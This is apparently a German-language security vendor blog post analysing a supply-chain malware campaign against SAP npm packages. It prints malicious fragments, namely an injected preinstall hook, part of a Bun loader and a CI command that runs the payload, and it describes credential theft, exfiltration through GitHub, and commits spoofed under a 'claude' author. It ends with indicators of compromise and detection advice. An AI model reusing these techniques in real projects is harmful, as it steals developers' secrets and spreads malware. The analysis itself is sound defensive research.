Aikido

„Mini Shai-Hulud“ greift SAP-npm-Pakete mit einem auf „Bun“ basierenden Secret Stealer an

Verfasst von
Raphael Silva

Eine neue Sicherheitslücke in der npm-Lieferkette zielt auf das SAP-Entwickler-Ökosystem ab.

Die betroffenen Pakete, die wir bislang verfolgen, sind:

  • @cap-js/sqlite – v2.2.2
  • @cap-js/postgres – v2.2.2
  • @cap-js/db-service – v2.10.1
  • mbt@1.2.48

Das Muster ist bekannt, aber auch ein wenig anders: Ein vertrauenswürdiges Paket erhält ein neues preinstall Hook, der Hook führt einen neuen setup.mjs Datei, und dieser Loader lädt die Bun-JavaScript-Laufzeitumgebung herunter, um eine große, verschleierte Nutzlast namens execution.js.

Die Nutzlast besteht aus einem 11,7 MB großen Framework zum Stehlen von Anmeldedaten und zur Verbreitung. Es sammelt lokale Entwickler-Anmeldedaten, GitHub- und npm-Token, secrets sowie secrets AWS, Azure, GCP und Kubernetes. Anschließend werden die verschlüsselten Ergebnisse über öffentliche GitHub-Repositorys nach außen geschmuggelt.

Die Malware benennt diese Repositorys mit einer fest programmierten Beschreibung:

Ein Mini-Shai-Hulud ist aufgetaucht

Was geschah

Die kompromittierten Pakete nutzen die Ausführung des npm-Lebenszyklus. Nach dem, was wir bisher gesehen haben, package.json wurde um folgenden Text ergänzt:

"scripts": {
    "preinstall": "node setup.mjs"
}

Das bedeutet, dass der Schadcode automatisch ausgeführt wird, während npm install, noch bevor die Installation überhaupt abgeschlossen ist.

Das schädliche Paket fügt zwei Dateien hinzu:

  • setup.mjs
  • execution.js

Der Code des normalen Pakets sieht nach wie vor wie das legitime SAP-Paket aus. In der @cap-js/sqlite@2.2.2 Beispiel: Die normalen Dateien stimmen überein @cap-js/sqlite@2.2.1 Byte für Byte. Der Kompromiss besteht aus dem Installations-Hook und den zusätzlichen Payload-Dateien.

Wahrscheinlicher Einstiegspunkt

Ein öffentlicher Hinweis deutet auf eine mögliche Ursache hin: ein npm-Token, das bei Pull-Request-Builds über CircleCI offengelegt wurde.

Das deckt sich mit unseren Erkenntnissen aus SAP/Cloud-MTA-Build-Tool. Am 29. April, ein kurzlebiger PR-Entwurf mit dem Titel Feature: ci speedup wurde geöffnet von gruposbftechrecruiter/harkonnen-navigator-149. Der PR wurde innerhalb weniger Minuten geschlossen, und der Branch wurde später per Force-Push aktualisiert, sodass der aktuelle GitHub-Diff leer blieb.

CircleCI hat den wichtigen Teil dennoch beibehalten. Ein PR-Build auf pull/1223 Commit ausgecheckt a959014aa7b7fc37a9b5730c951776e7db2920a6, das einen Bun-Lader an bin/config.mjs, fügte eine verschleierte Nutzlast hinzu unter bin/mbt.jsund änderte den Testbefehl in:

node ./bin/config.mjs && node ./bin/mbt

Dieser Test wurde im Rahmen eines PR-Auftrags ausgeführt, bei dem CircleCI geschwärzte secrets auflistete, darunter CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, CircleCI-OIDC-Token, Docker Hub-Anmeldedaten, Cloud -Anmeldedaten und andere releasebezogene Variablen.

Die Protokolle enthielten außerdem Octokit-Warnungen für POST-https://api.github.com/user/repos, was mit dem Exfiltrationsverhalten der Malware auf GitHub übereinstimmt.

Damit ist der CircleCI-PR-Build der wahrscheinlichste Auslöser für den ursprünglichen Diebstahl der Zugangsdaten.

So funktioniert die Malware

Die erste Phase, setup.mjs, ist ein Bun-Bootstrapper. Er überprüft das Betriebssystem und die Architektur und lädt Bun herunter 1.3.13 bei Bedarf von GitHub herunter, entpackt die Binärdatei und führt sie mit Bun aus execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

Die zweite Phase, execution.js, ist eine einzige große, verschleierte Nutzlast. Sie nutzt eine benutzerdefinierte Zeichenfolgenverschlüsselungsschicht mit der Bezeichnung ctf-scramble-v2, prüft, ob es in einer CI-Umgebung läuft, beendet sich bei russischen Ländereinstellungen und läuft auf Nicht-CI-Rechnern als Daemon.

Was es stiehlt

Die Payload ist so konzipiert, dass sie sowohl Entwickler-Laptops als auch CI/CD-Runner befällt.

Es versucht, Folgendes zu erfassen:

  • GitHub-Token, einschließlich der Ausgabe von gh-Authentifizierungstoken
  • npm-Token von .npmrc
  • Umgebungsvariablen
  • secrets in GitHub Actions
  • AWS STS-Identität, Secrets secrets und SSM-Parameter
  • Azure-Abonnements, Key Vault-Namen und Key Vault-Geheimniswerte
  • GCP-Projektidentität und Secret Manager-Werte
  • Kubernetes-Dienstkontotoken
  • Claude-Konfigurationsdateien, MCP-Konfigurationsdateien, GCP-Token-Datenbanken, Azure-Token-Caches, Signal-Konfigurationsdateien, Electrum-Wallets und VPN-Konfigurationsdateien

Besonders besorgniserregend ist der Pfad zu GitHub Actions. Die Nutzlast enthält einen eingebetteten Python-Helper, der sucht /proc für die Läufer.Arbeiter Prozess, liest dessen Speicher aus und extrahiert maskierte geheime Strukturen aus dem Runner.

Schlüsselwort für Exfiltration und Verbreitung auf GitHub

Die Malware nutzt GitHub als Kanal für die Datenentwendung.

Das neue Schlüsselwort für die Weiterleitung lautet:

Oh nein, was ist denn bei GitHub los?

Die Malware durchsucht GitHub-Commits nach dieser Zeichenfolge und nutzt übereinstimmende Commit-Meldungen als versteckten Speicherort für Token. Commit-Meldungen, die OhNoWhatsGoingOnWithGitHub:<base64> werden in GitHub-Token umgewandelt und auf Repository-Zugriffsrechte überprüft.

Sobald die Malware ein Repository erstellen kann, verwendet sie zufällig generierte Namen mit Bezug zu „Dune“ und legt die Repository-Beschreibung wie folgt fest:

Ein Mini-Shai-Hulud ist aufgetaucht

und speichert verschlüsselte Ergebnisdateien unter:

results/results-<timestamp>-<counter>.json

Die Daten werden vor dem Commit mit AES-256-GCM komprimiert und verschlüsselt, wobei der AES-Schlüssel durch einen eingebetteten RSA -Schlüssel geschützt wird.

Verbreitungslogik

Die Nutzlast enthält Logik für die Integration in Entwickler- und Release-Workflows.

In den analysierten Proben sucht die Malware nach GitHub-Actions-Release-Automatisierung im Zusammenhang mit cap-js/cds-dbs. Wenn es in diesem Repository-Kontext einen Release-Workflow erkennt, kann es ein Paket-Tarball wie folgt ändern:

  • die aktuelle Nutzlast in execution.js
  • Schreiben setup.mjs
  • Einstellung scripts.preinstall = "node setup.mjs"
  • die Patch-Version erhöhen
  • das Tarball-Archiv neu packen

Außerdem versucht es, gestohlene GitHub-Actions-Token zu nutzen, um Dateien in Repositorys zu übertragen:

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/settings.json

In diesen Commits wird Folgendes verwendet:

Aufgabe: Abhängigkeiten aktualisieren

mit dem Autor:

claude <claude@users.noreply.github.com>

SAP als Ziel

Die Zielpakete sind in die normalen SAP-Entwicklungsabläufe eingebunden. @cap-js/sqlite, @cap-js/postgres, und @cap-js/db-service sind Teil des SAP-CAP-Datenbank-Ökosystems, während mbt wird im Zusammenhang mit den Build-Workflows von SAP Cloud verwendet.

Dadurch ist diese Kampagne zwar von der Anzahl der Pakete her klein, hat aber potenziell große Auswirkungen. Diese Pakete werden wahrscheinlich auf Entwicklerrechnern und CI-Runner ausgeführt, die Zugriff auf GitHub, npm, Cloud-Anmeldedaten und secrets für die Bereitstellung haben.

Erkennung und Abwehr

Durchsuche Lockfiles, Paket-Caches, CI-Protokolle, interne Registries, Artefakt-Speicher und Entwicklerrechner nach:

  • @cap-js/sqlite – v2.2.2
  • @cap-js/postgres – v2.2.2
  • @cap-js/db-service – v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall laufende Skripte Datei „setup.mjs“
  • Brötchen 1.3.13 Downloads während der Paketinstallation

Auf GitHub suchen nach:

  • Suchergebnisse für Oh nein, was ist denn bei GitHub los?: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • Repositorien mit Beschreibung Ein Mini-Shai-Hulud ist aufgetaucht
  • Commits, die Folgendes enthalten Oh nein, was ist denn bei GitHub los?
  • Commits mit dem Titel Aufgabe: Abhängigkeiten aktualisieren
  • Commits verfasst von claude <claude@users.noreply.github.com>
  • unerwartet .claude/ oder .vscode/setup.mjs Dateien
  • Ergebnisse/Ergebnisse-*.json Dateien in neu erstellten öffentlichen Repositorys

Falls ein betroffenes Paket installiert wurde, sollten Sie secrets rotieren. Beschränken Sie die Rotation nicht auf npm-Token. Die Malware zielt auf GitHub, npm, Cloud-Anbieter, Kubernetes, secrets und lokale Entwicklertools ab.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Denken Sie für zukünftige Sicherheit an Aikido Chain (Open Source). Safe Chain lässt sich in Ihren bestehenden Arbeitsablauf integrieren, fängt Befehle wie npm, npx, yarn, pnpm und pnpx ab und überprüft Pakete vor der Installation anhand von Aikido .

Kompromittierungsindikatoren

Betroffene Pakete:

  • @cap-js/sqlite – v2.2.2
  • @cap-js/postgres – v2.2.2
  • @cap-js/db-service – v2.10.1
  • mbt@1.2.48

Hashwerte aus den analysierten @cap-js/sqlite@2.2.2 Beispiel:

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • Eingebauter GitHub-Runner-Speicherdumper: 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

Zeichenfolgen und Markierungen:

  • Ein Mini-Shai-Hulud ist aufgetaucht
  • Oh nein, was ist denn bei GitHub los? (Schlüsselwort für die Weitergabe / Dead-Drop-Marker für GitHub-Commits)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • Aufgabe: Abhängigkeiten aktualisieren
  • claude@users.noreply.github.com

URLs und Endpunkte:

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]

Teilen:

https://www.aikido.dev/blog/mini-shai-hulud-has-appeared

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.